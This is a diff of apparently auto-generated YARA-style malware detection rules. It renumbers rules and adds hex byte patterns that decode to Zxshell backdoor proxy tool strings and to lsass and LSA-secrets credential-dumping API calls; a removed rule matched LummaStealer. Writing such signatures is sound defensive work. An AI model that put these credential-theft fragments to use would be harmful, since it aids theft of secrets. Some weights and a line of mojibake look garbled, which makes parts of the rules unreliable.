1)*57+(#a_00_62 & 1)*50+(#a_00_63 & 1)*49+(#a_00_64 & 1)*55+(#a_00_66 & 1)*53+(#a_00_67 & 1)*50+(#a_00_69 & 1)*48+(#a_00_71 & 1)*48+(#a_00_73 & 1)*50+(#a_00_75 & 1)*55+(#a_01_76 & 1)*1+(#a_01_77 & 1)*1+(#a_01_78 & 1)*1) >=20 } -rule _InfrastructureShared_20553{ +rule _InfrastructureShared_21779{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 33 00 21 " @@ -264923,7 +280454,7 @@ rule _InfrastructureShared_20553{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*26998+(#a_72_2 & 1)*25200+(#a_74_3 & 1)*25712+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_03_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_03_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_b4_38 & 1)*0+(#a_00_40 & 1)*66+(#a_00_41 & 1)*56+(#a_00_43 & 1)*48+(#a_00_45 & 1)*57+(#a_00_46 & 1)*53+(#a_00_47 & 1)*65+(#a_00_49 & 1)*70+(#a_00_50 & 1)*56) >=14 } -rule _InfrastructureShared_20554{ +rule _InfrastructureShared_21780{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 2c 00 21 " @@ -264974,7 +280505,7 @@ rule _InfrastructureShared_20554{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*50+(#a_00_3 & 1)*55+(#a_00_4 & 1)*52+(#a_00_6 & 1)*70+(#a_01_7 & 1)*2+(#a_01_8 & 1)*2+(#a_01_9 & 1)*2+(#a_01_10 & 1)*2+(#a_01_11 & 1)*2+(#a_01_12 & 1)*2+(#a_01_13 & 1)*2+(#a_01_14 & 1)*2+(#a_01_15 & 1)*2+(#a_01_16 & 1)*2+(#a_01_17 & 1)*2+(#a_01_18 & 1)*2+(#a_01_19 & 1)*2+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_01_42 & 1)*1+(#a_01_43 & 1)*1) >=3 } -rule _InfrastructureShared_20555{ +rule _InfrastructureShared_21781{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 3b 00 21 " @@ -265025,33 +280556,22 @@ rule _InfrastructureShared_20555{ $a_01_45 = {6f 6e 5f 70 62 5f 63 6f 6e 76 65 72 74 5f 68 65 78 5f 74 6f 5f 73 74 72 69 6e 67 5f 63 6c 69 63 6b 65 64 } //1 on_pb_convert_hex_to_string_clicked $a_01_46 = {6f 6e 5f 70 62 5f 72 65 61 64 5f 64 62 5f 69 70 73 5f 63 6c 69 63 6b 65 64 } //1 on_pb_read_db_ips_clicked $a_01_47 = {6f 6e 5f 63 68 62 5f 67 65 74 5f 69 70 5f 66 72 6f 6d 5f 64 62 5f 63 75 72 72 65 6e 74 54 65 78 74 43 68 61 6e 67 65 64 } //1 on_chb_get_ip_from_db_currentTextChanged - $a_e9_48 = {00 01 00 01 00 0e 00 21 23 48 53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 44 53 4b 33 00 01 00 78 01 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 } //0 - $a_20_49 = {10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 } //24948 - $a_20_50 = {20 } //30720 - $a_20_51 = {00 80 05 00 00 10 00 00 00 90 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 } //8192 - $a_72_52 = {00 00 00 b0 02 00 00 00 90 05 00 00 02 00 00 00 a0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 a2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 90 05 00 00 10 00 00 00 9a 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //29230 - $a_63_54 = {00 00 88 03 00 00 00 a0 05 00 00 04 00 00 00 aa 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 05 00 00 02 00 00 00 ae 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 00 06 00 00 10 00 00 00 e4 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //29554 - $a_63_56 = {00 00 f0 01 00 00 00 10 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 20 06 00 00 02 00 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 c0 06 00 00 10 00 00 00 d6 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //29554 - $a_63_58 = {00 00 88 03 00 00 00 d0 06 00 00 04 00 00 00 e6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 e0 06 00 00 02 00 00 00 ea 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 00 06 00 00 10 00 00 00 e4 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //29554 + $a_fb_48 = {00 05 00 05 00 2d 00 21 23 54 45 4c 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 5a 78 73 68 65 6c 6c 2e 43 21 64 68 61 00 01 00 28 01 53 59 53 54 45 4d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 43 6f 6e 74 72 6f 6c 5c 7a 78 70 6c 75 67 00 01 00 17 01 25 73 20 25 73 2c 7a 78 46 75 6e 63 74 69 6f 6e 30 30 32 20 25 73 00 01 00 19 01 20 20 5a } //0 + $a_74_49 = {50 72 6f 78 79 20 5b 2d 70 5d 20 3c 50 6f 72 74 3e 01 00 21 01 5a 58 48 74 74 70 50 72 6f 78 79 20 53 74 61 72 74 65 64 20 53 75 63 63 65 73 73 66 75 6c 6c 79 2e 01 00 23 01 4d 61 79 62 65 20 5a 58 48 74 74 70 50 72 6f 78 79 20 69 73 20 72 75 6e 6e 69 6e 67 20 6f 72 20 54 72 79 01 00 1a 01 5a 58 48 74 74 70 50 72 6f 78 79 20 69 73 20 72 75 6e 6e } //18520 + $a_2e_50 = {0a 00 01 00 1d 01 5a 58 48 74 74 70 50 72 6f 78 79 20 49 73 6e 27 74 20 52 75 6e 6e 69 6e 67 2e 0d 0a 00 01 00 0e 01 5a 58 50 72 6f 78 79 43 6c 61 73 73 00 00 01 00 24 01 4d 61 79 62 65 20 5a 58 48 74 74 70 53 65 72 76 65 72 20 69 73 20 72 75 6e 6e 69 6e 67 20 6f 72 20 54 72 79 01 00 28 01 55 53 41 47 45 3a } //28265 + $a_48_51 = {74 70 53 65 72 76 65 72 20 5b 2d 64 5d 20 3c 52 6f 6f 74 44 69 72 65 63 74 6f 72 79 3e 01 00 24 01 44 45 53 43 52 49 50 54 49 4f 4e 3a 20 20 20 41 20 4d 69 6e 69 20 48 74 74 70 20 53 65 72 76 65 72 2e 0d 0a 01 00 19 01 45 78 61 6d 70 6c 65 3a 20 5a 58 48 74 74 70 } //23072 灴敓癲牥嬠搭⁝刼潯䑴物捥潴祲ľ␀䐁卅剃偉䥔乏›†⁁楍楮䠠瑴⁰敓癲牥മĊᤀ䔁慸灭敬›塚瑈灴 + $a_76_52 = {72 20 2d 64 20 01 00 13 01 5a 58 48 74 74 70 53 65 72 76 65 72 20 2d 73 20 2d 64 20 01 00 23 01 5a 58 48 74 74 70 53 65 72 76 65 72 20 45 6e 64 65 64 20 53 75 63 63 65 73 73 66 75 6c 6c 79 2e 0d 0a 00 01 00 1e 01 5a 58 48 74 74 70 53 65 72 76 65 72 20 49 73 6e 27 74 20 52 75 6e 6e 69 6e 67 2e 0d 0a 00 01 00 26 01 5a 58 53 6f 63 6b 73 50 72 } //25939 + $a_20_53 = {65 72 76 69 63 65 20 49 73 6e 27 74 20 52 75 6e 6e 69 6e 67 2e 0d 0a 00 01 00 13 01 5a 58 53 6f 63 6b 50 72 6f 78 79 20 56 31 2e 32 2e 0d 0a 01 00 1e 01 20 20 5a 58 53 6f 63 6b 50 72 6f 78 79 20 5b 2d 62 5d 20 3c 50 6f 72 74 3e 20 5b 2d 75 5d 01 00 17 01 5a 58 53 6f 63 6b 50 72 6f 78 79 20 2d 62 20 31 30 38 30 20 2d 65 20 01 00 25 01 5a 58 53 6f 63 6b 73 50 72 } //30831 + $a_20_54 = {74 61 72 74 65 64 20 53 75 63 63 65 73 73 66 75 6c 6c 79 2e 0d 0a 00 01 00 23 01 5a 58 53 6f 63 6b 73 50 72 6f 78 79 20 53 65 72 76 69 63 65 20 49 73 20 52 75 6e 6e 69 6e 67 2e 0d 0a 00 01 00 43 01 68 4c 73 61 73 73 20 3d 20 5a 58 53 41 50 49 3a 3a 4f 70 65 6e 50 72 6f 63 65 73 73 28 50 52 4f 43 45 53 53 5f 56 4d 5f 52 45 41 44 2c 20 46 41 4c 53 45 2c 20 70 69 } //30831 + $a_66_55 = {69 6c 65 64 20 25 64 01 00 39 01 5a 58 53 41 50 49 3a 3a 47 65 74 4d 6f 64 75 6c 65 49 6e 66 6f } //10596 汩摥┠Ť㤀威単偁㩉䜺瑥潍畤敬湉潦 + $a_74_56 = {6f 6e 28 5a 58 53 41 50 49 3a 3a 47 65 74 43 75 72 72 65 6e 74 50 72 6f 63 65 73 73 28 29 2c 01 00 37 01 28 68 4c 73 61 73 72 76 20 3d 20 5a 58 53 41 50 49 3a 3a 4c 6f 61 64 4c 69 62 72 61 72 79 28 22 6c 73 61 73 72 76 2e 64 6c 6c 22 29 29 20 66 61 69 6c 65 64 20 25 64 01 00 36 01 28 72 65 } //28018 + $a_20_57 = {58 53 41 50 49 3a 3a 52 65 67 51 75 65 72 79 56 61 6c 75 65 45 78 28 68 4b 65 79 2c 20 22 22 2c 20 4e 55 4c 4c 2c 20 26 64 77 54 79 70 65 01 00 46 01 28 5a 58 53 41 50 49 3a 3a 52 65 } //8308 + $a_65_58 = {4b 65 79 45 78 20 28 48 4b 45 59 5f 4c 4f 43 41 4c 5f 4d 41 43 48 49 4e 45 2c 20 22 53 45 43 55 52 49 54 59 5c 5c 50 6f 6c 69 63 79 5c 5c 53 65 63 72 65 74 73 22 01 00 40 01 28 53 79 73 74 65 6d 46 75 6e 63 74 69 6f 6e 30 30 35 20 3d 20 28 50 53 79 73 74 65 6d 46 75 6e 63 74 69 6f 6e 30 30 35 29 20 5a 58 53 41 50 49 3a 3a 47 65 74 50 } //20327 condition: - ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*110+(#a_43_3 & 1)*13312+(#a_00_5 & 1)*105+(#a_20_6 & 1)*11565+(#a_69_7 & 1)*25454+(#a_52_8 & 1)*19785+(#a_73_9 & 1)*8224+(#a_6b_10 & 1)*24944+(#a_64_11 & 1)*30309+(#a_61_12 & 1)*26990+(#a_74_13 & 1)*9472+(#a_66_14 & 1)*8307+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_03_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_03_22 & 1)*1+(#a_01_23 & 1)*1+(#a_03_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_03_30 & 1)*1+(#a_03_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_03_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_01_42 & 1)*1+(#a_01_43 & 1)*1+(#a_01_44 & 1)*1+(#a_01_45 & 1)*1+(#a_01_46 & 1)*1+(#a_01_47 & 1)*1+(#a_e9_48 & 1)*0+(#a_20_49 & 1)*24948+(#a_20_50 & 1)*30720+(#a_20_51 & 1)*8192+(#a_72_52 & 1)*29230+(#a_63_54 & 1)*29554+(#a_63_56 & 1)*29554+(#a_63_58 & 1)*29554) >=15 + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*110+(#a_43_3 & 1)*13312+(#a_00_5 & 1)*105+(#a_20_6 & 1)*11565+(#a_69_7 & 1)*25454+(#a_52_8 & 1)*19785+(#a_73_9 & 1)*8224+(#a_6b_10 & 1)*24944+(#a_64_11 & 1)*30309+(#a_61_12 & 1)*26990+(#a_74_13 & 1)*9472+(#a_66_14 & 1)*8307+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_03_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_03_22 & 1)*1+(#a_01_23 & 1)*1+(#a_03_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_03_30 & 1)*1+(#a_03_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_03_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_01_42 & 1)*1+(#a_01_43 & 1)*1+(#a_01_44 & 1)*1+(#a_01_45 & 1)*1+(#a_01_46 & 1)*1+(#a_01_47 & 1)*1+(#a_fb_48 & 1)*0+(#a_74_49 & 1)*18520+(#a_2e_50 & 1)*28265+(#a_48_51 & 1)*23072+(#a_76_52 & 1)*25939+(#a_20_53 & 1)*30831+(#a_20_54 & 1)*30831+(#a_66_55 & 1)*10596+(#a_74_56 & 1)*28018+(#a_20_57 & 1)*8308+(#a_65_58 & 1)*20327) >=15 } -rule _InfrastructureShared_20556{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 0e 00 21 " - - strings : - $a_54_0 = {3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 44 53 4b 33 00 01 00 78 01 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 } //18467 - $a_00_1 = {00 00 } //-4608 - $a_00_4 = {00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 90 } //0 - $a_00_9 = {00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 90 05 00 00 02 00 00 00 a0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 a2 } //0 - $a_00_13 = {00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 90 05 00 00 10 00 00 00 9a 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 88 03 00 00 00 a0 05 00 00 04 } //0 - condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-4608+(#a_00_4 & 1)*0+(#a_00_9 & 1)*0+(#a_00_13 & 1)*0) >=1 - -} -rule _InfrastructureShared_20557{ +rule _InfrastructureShared_21782{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 2d 00 21 " @@ -265105,7 +280625,7 @@ rule _InfrastructureShared_20557{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*30060+(#a_74_2 & 1)*22618+(#a_20_3 & 1)*10094+(#a_43_4 & 1)*17732+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_0a_37 & 1)*0+(#a_30_38 & 1)*11321+(#a_78_39 & 1)*8236+(#a_2c_40 & 1)*14456+(#a_20_41 & 1)*13112+(#a_30_42 & 1)*11313+(#a_2c_43 & 1)*26232+(#a_38_44 & 1)*13874) >=5 } -rule _InfrastructureShared_20558{ +rule _InfrastructureShared_21783{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 18 00 21 " @@ -265138,7 +280658,7 @@ rule _InfrastructureShared_20558{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*11321+(#a_78_2 & 1)*8236+(#a_2c_3 & 1)*25976+(#a_30_4 & 1)*12853+(#a_20_5 & 1)*14437+(#a_30_6 & 1)*11312+(#a_66_7 & 1)*12332+(#a_20_8 & 1)*25888+(#a_01_9 & 1)*13618+(#a_00_10 & 1)*12597+(#a_4f_11 & 1)*385+(#a_63_12 & 1)*26487+(#a_63_13 & 1)*21058+(#a_73_14 & 1)*12899+(#a_42_15 & 1)*20801+(#a_49_16 & 1)*20035+(#a_2d_17 & 1)*14644+(#a_30_18 & 1)*11321+(#a_20_19 & 1)*12336+(#a_2d_20 & 1)*13873+(#a_20_21 & 1)*12855+(#a_30_22 & 1)*8236+(#a_26_23 & 1)*12328) >=1 } -rule _InfrastructureShared_20559{ +rule _InfrastructureShared_21784{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 42 00 21 " @@ -265211,7 +280731,7 @@ rule _InfrastructureShared_20559{ ((#a_72_0 & 1)*22051+(#a_38_2 & 1)*12801+(#a_37_3 & 1)*25912+(#a_37_4 & 1)*14647+(#a_39_5 & 1)*14393+(#a_37_6 & 1)*13622+(#a_39_7 & 1)*14194+(#a_00_8 & 1)*30055+(#a_31_9 & 1)*13057+(#a_32_10 & 1)*272+(#a_38_12 & 1)*13057+(#a_38_13 & 1)*31284+(#a_66_14 & 1)*25912+(#a_01_15 & 1)*14391+(#a_39_16 & 1)*14388+(#a_24_17 & 1)*14388+(#a_01_18 & 1)*14184+(#a_01_19 & 1)*25958+(#a_39_20 & 1)*14648+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_03_42 & 1)*1+(#a_23_43 & 1)*0+(#a_79_44 & 1)*28532+(#a_30_45 & 1)*12353+(#a_46_46 & 1)*17971+(#a_45_47 & 1)*13878+(#a_03_48 & 1)*1+(#a_03_49 & 1)*1+(#a_03_50 & 1)*1+(#a_03_51 & 1)*1+(#a_03_52 & 1)*1+(#a_03_53 & 1)*1+(#a_03_54 & 1)*1+(#a_03_55 & 1)*1+(#a_03_56 & 1)*1+(#a_03_57 & 1)*1+(#a_03_58 & 1)*1+(#a_03_59 & 1)*2+(#a_03_60 & 1)*1+(#a_03_61 & 1)*1+(#a_03_62 & 1)*1+(#a_03_63 & 1)*1+(#a_03_64 & 1)*1+(#a_03_65 & 1)*1) >=1 } -rule _InfrastructureShared_20560{ +rule _InfrastructureShared_21785{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 1e 00 21 " @@ -265244,7 +280764,7 @@ rule _InfrastructureShared_20560{ ((#a_46_0 & 1)*16675+(#a_44_1 & 1)*17209+(#a_45_2 & 1)*400+(#a_6f_3 & 1)*31090+(#a_30_4 & 1)*16689+(#a_33_5 & 1)*13122+(#a_90_6 & 1)*13623+(#a_6d_7 & 1)*29279+(#a_6f_8 & 1)*257+(#a_6e_9 & 1)*18036+(#a_6f_10 & 1)*20601+(#a_61_11 & 1)*13411+(#a_70_12 & 1)*29295+(#a_00_14 & 1)*97+(#a_00_15 & 1)*32+(#a_00_16 & 1)*46+(#a_00_18 & 1)*110+(#a_00_19 & 1)*105+(#a_00_20 & 1)*400+(#a_00_22 & 1)*114+(#a_00_23 & 1)*109+(#a_00_24 & 1)*84+(#a_4c_27 & 1)*8993+(#a_00_29 & 1)*32) >=3 } -rule _InfrastructureShared_20561{ +rule _InfrastructureShared_21786{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 1d 00 21 " @@ -265270,7 +280790,7 @@ rule _InfrastructureShared_20561{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*40+(#a_00_3 & 1)*110+(#a_00_5 & 1)*32+(#a_00_6 & 1)*115+(#a_00_8 & 1)*87+(#a_00_10 & 1)*101+(#a_00_12 & 1)*37+(#a_00_14 & 1)*37+(#a_00_16 & 1)*105+(#a_00_17 & 1)*101+(#a_00_18 & 1)*97+(#a_00_20 & 1)*91+(#a_00_22 & 1)*101+(#a_00_24 & 1)*37+(#a_00_26 & 1)*100+(#a_01_28 & 1)*1) >=6 } -rule _InfrastructureShared_20562{ +rule _InfrastructureShared_21787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 46 00 21 " @@ -265306,45 +280826,34 @@ rule _InfrastructureShared_20562{ $a_61_31 = {79 } //1280 y $a_00_32 = {26 } //30824 & $a_38_33 = {67 34 65 38 67 34 65 39 38 72 67 34 38 39 65 72 34 67 39 38 65 72 34 67 38 65 34 72 67 65 72 38 67 24 01 00 16 01 7a 38 66 34 65 7a 39 38 66 34 7a 39 65 38 37 66 39 7a 38 } //25857 - $a_01_34 = {00 17 01 7a 65 39 38 66 7a 37 65 38 39 66 37 7a 39 38 65 66 37 39 7a 65 66 24 00 00 78 65 07 00 01 00 01 00 } //26213 - $a_23_35 = {53 54 52 3a 4c 75 6d 6d 61 53 74 65 61 6c 65 72 2e 44 53 4b 35 00 01 00 78 01 20 20 20 00 20 20 20 } //15 - $a_05_36 = {00 00 10 00 00 00 d2 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 88 03 00 00 00 00 06 00 00 04 00 00 00 e2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 06 00 00 02 00 00 00 e6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 e0 05 00 00 10 00 00 00 e0 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 03 00 00 00 f0 05 00 00 04 00 00 00 f0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 06 00 00 02 00 00 00 f4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 } //32 - $a_20_37 = {00 f0 05 00 00 10 00 00 00 f0 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 } //8192 - $a_72_38 = {00 00 00 b0 02 00 00 00 00 06 00 00 02 00 00 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 06 00 00 02 00 00 00 02 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 e0 05 00 00 10 00 00 00 e0 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //29230 - $a_63_40 = {00 00 b0 02 00 00 00 f0 05 00 00 02 00 00 00 f0 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 06 00 00 02 00 00 00 f2 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 10 06 00 00 10 00 00 00 da 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //29554 - $a_63_42 = {00 00 88 03 00 00 00 20 06 00 00 04 00 00 00 ea 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 e0 05 00 00 10 00 00 00 d8 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //29554 - $a_63_44 = {00 00 f0 01 00 00 00 f0 05 00 00 02 00 00 00 e8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 06 00 00 02 00 00 00 ea 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 00 20 20 20 20 00 c0 06 00 00 10 00 00 00 c0 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //29554 - $a_63_46 = {00 00 48 04 00 00 00 d0 06 00 00 04 00 00 00 d0 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 e0 06 00 00 02 00 00 00 d4 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 01 00 78 01 20 20 20 20 20 20 20 20 0b ef 04 00 00 10 00 00 00 ca 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //29554 - $a_20_48 = {20 20 07 21 00 00 00 00 05 00 00 12 00 00 00 ce 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 } //8224 - $a_20_49 = {20 20 20 20 20 bc d3 00 00 00 30 05 00 00 32 00 00 00 e0 02 00 00 00 00 00 00 00 00 00 00 00 00 } //16384 - $a_00_52 = {20 20 20 20 00 b0 70 00 00 10 00 00 00 52 2b 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 } //8224 - $a_63_54 = {00 00 bc 0a 01 00 00 c0 70 00 00 0c 01 00 00 62 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 71 00 00 